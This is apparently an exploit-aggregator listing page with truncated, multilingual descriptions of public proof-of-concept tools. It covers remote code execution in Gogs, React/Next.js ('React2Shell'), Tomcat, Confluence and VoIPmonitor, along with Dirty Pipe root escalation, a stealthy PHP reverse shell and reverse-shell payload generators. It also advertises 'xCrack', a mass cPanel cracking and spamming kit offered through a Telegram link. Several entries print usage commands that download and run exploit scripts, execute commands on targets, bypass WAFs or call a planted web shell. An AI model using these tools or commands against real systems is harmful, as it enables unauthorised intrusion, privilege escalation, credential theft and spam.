CVE-2025-8110

Exploit RCE di Gogs CVE-2025-8110 Proof of Concept per CVE-2025-8110 - Esecuzione di codice remoto in Gogs tramite bypass di symlink e iniezione di sshCommand. Descrizione Questo exploit abusa di un bypass di symlink nell'API di Gogs per sovrascrivere .git/config e iniettare un sshCommand malevol...

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE Exploit Ein automatisiertes Python-Exploit für CVE-2025-8110 in Gogs. Diese Schwachstelle ermöglicht Remote Code Execution RCE durch Missbrauch der PutContents-API, die nicht überprüft, ob ein Dateipfad ein Symlink ist. Durch Überschreiben der internen .git/config-Datei übe...

CVE-2022-1609

CVE-2022-1609 PoC Bash per CVE-2022-1609 WordPress Weblizar Backdoor Come installare ? root@kitploit: wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh Come usarlo ? root@kitploit: NullBrunk$ ./exploit.sh http://127.0.0.1:8080 +...

LFI-Destruction

🔥 LFI-Destruction – Framework per Penetration Testing Autorizzato LFI-Destroyer è un framework completo e modulare per lo sfruttamento di Local File Inclusion LFI progettato per professionisti della sicurezza autorizzati. Combina molteplici tecniche di attacco in un unico strumento facile da usar...

CVE-2017-16997-poc

Uso Execute ./CVE-2017-16997.sh . Se executado como usuário não-root, certifique-se de que pode elevar para root via sudo. Detalhes 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2021-30461

Prodotti interessati VoIPmonitor 24.60 Come eseguire RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell del browser: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Riferimento https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

SmileySploit

SmileySploit Uno script di base che sfrutta CVE-2011-2523 Panoramica Nel 2011, una backdoor integrata è stata trovata sui server vsFTPd con versione 2.3.4, in cui l'uso dell'emoticon smiley ":" attiva una connessione inversa verso un attaccante. Con questo, è estremamente facile creare uno script...

CVE-2025-55182-PoC

React2Shell CVE-2025-55182 PoC Uso root@kitploit: Interactive shell ./react2shell -u http://target:3000 Single command ./react2shell -u http://target:3000 -c "id" WAF bypass 128KB junk data ./react2shell -u http://target:3000 -waf 128 Compilazione root@kitploit: go build -o react2shell . Opzioni...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Utilizzo: root@kitploit: sudo python3 hehe.py -t -c Esempio: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | |...

Confluence-RCE

Usage: python3 mian.py Rilevamento Esecuzione comandi Reverse shell Supporto proxy SOCKS5 e HTTP...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Descrição da Vulnerabilidade Vulnerabilidade de escrita arbitrária de arquivos no JumpServer CVE-2023-42819 + CVE-2023-42820 = GetShell USO 1. Coloque o script e os arquivos necessários no mesmo diretório 2. Confirme que o Google Chrome está instalado e obtenha o...

CVE-2022-0847-DirtyPipe-Exploit

Was ist das Dies ist Max Kellermanns Proof-of-Concept für Dirty Pipe, jedoch modifiziert, um das Passwortfeld des Root-Benutzers in /etc/passwd zu überschreiben und nach dem Öffnen einer Root-Shell wiederherzustellen. Seitennotiz: Ich beanspruche keine Anerkennung für das Finden dieser...

CVE-2022-23935

CVE-2022-23935 🐍 Exploit Python per CVE-2022-23935 Generatore di Payload per Reverse Shell Staged per CVE-2022-23935 Esempio root@kitploit: cve-2022-23935 10.10.16.3 44444 Utilizzo root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for...

cve-2020-11060-poc

CVE-2020-11060 Dieses Skript ist ein auf Python 3.x basierender Exploit für CVE-2020-11060 in GLPI-Versionen 0.85-9.4.5. Ursprüngliche Implementierung: 0xdreadnaught Python3-Refactoring: n3rada Der ursprüngliche PoC in ExploitDB ist inzwischen veraltet, da er Python 2.x verwendete. Die neue Versi...

CVE-2026-22241

CVE-2026-22241 Ambiente di laboratorio per CVE-2026-22241 Descrizione della vulnerabilità: Vulnerabilità: Caricamento senza restrizioni di file con tipo pericoloso. Impatto: Esecuzione di codice remoto RCE. Descrizione: Questa falla consente a un attaccante con privilegi amministrativi di caricar...

CVE-2024-50379

CVE-2024-50379 Prova di Concetto PoC Questa repository contiene uno script di prova di concetto PoC per sfruttare CVE-2024-50379 , una vulnerabilità in Apache Tomcat. La vulnerabilità è una condizione di race condition Time-of-Check Time-of-Use TOCTOU che può portare all'esecuzione di codice remo...

CVE-2023-27163-AND-Mailtrail-v0.53

Exploit Automático Resumo O seguinte exploit abusa da vulnerabilidade de SSRF no Requests Baskets v1.2.1 para encaminhar a aplicação interna que executa em 127.0.0.1:80 para a aplicação externa em /pwned. Uma vez que a aplicação Mailtrail v0.53 tenha sido encaminhada, ele executará um comando de...

xCrack Python Tools For Hackers

TG Download-Link: https://t.me/+0z9FapS4mBgyZjhl xCrack Python-Hacking-Tool für Hacker und Spammer Anforderungen: Python 3.x Getestet auf: Python 3.10.4 ► cPanel-Abschnitt ◄ Massen-cPanel-Aktiv-Prüfer Massen-cPanel-zu-Shell-Uploader Massen-cPanel-zu-SMTP-Cracker Massen-cPanel-zu-Webmail-Cracker...

PHP-REVERSE-SHELL

PHP Reverse Shell Potente & Furtivo Questa è una shell inversa PHP potente e furtiva progettata per hacking etico e test di penetrazione. Stabilisce una connessione affidabile e silenziosa verso la tua macchina. ⚠️ Disclaimer Questa shell inversa PHP è sviluppata strettamente per scopi educativi e...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Next.js-Exploit-Tool Strumento di utilizzo completo con interfaccia grafica. Introduzione Uno strumento di valutazione della sicurezza autonomo per CVE-2025-55182 , sviluppato in Go, con interfaccia grafica GUI per eseguire rapidamente rilevamento e verifica delle...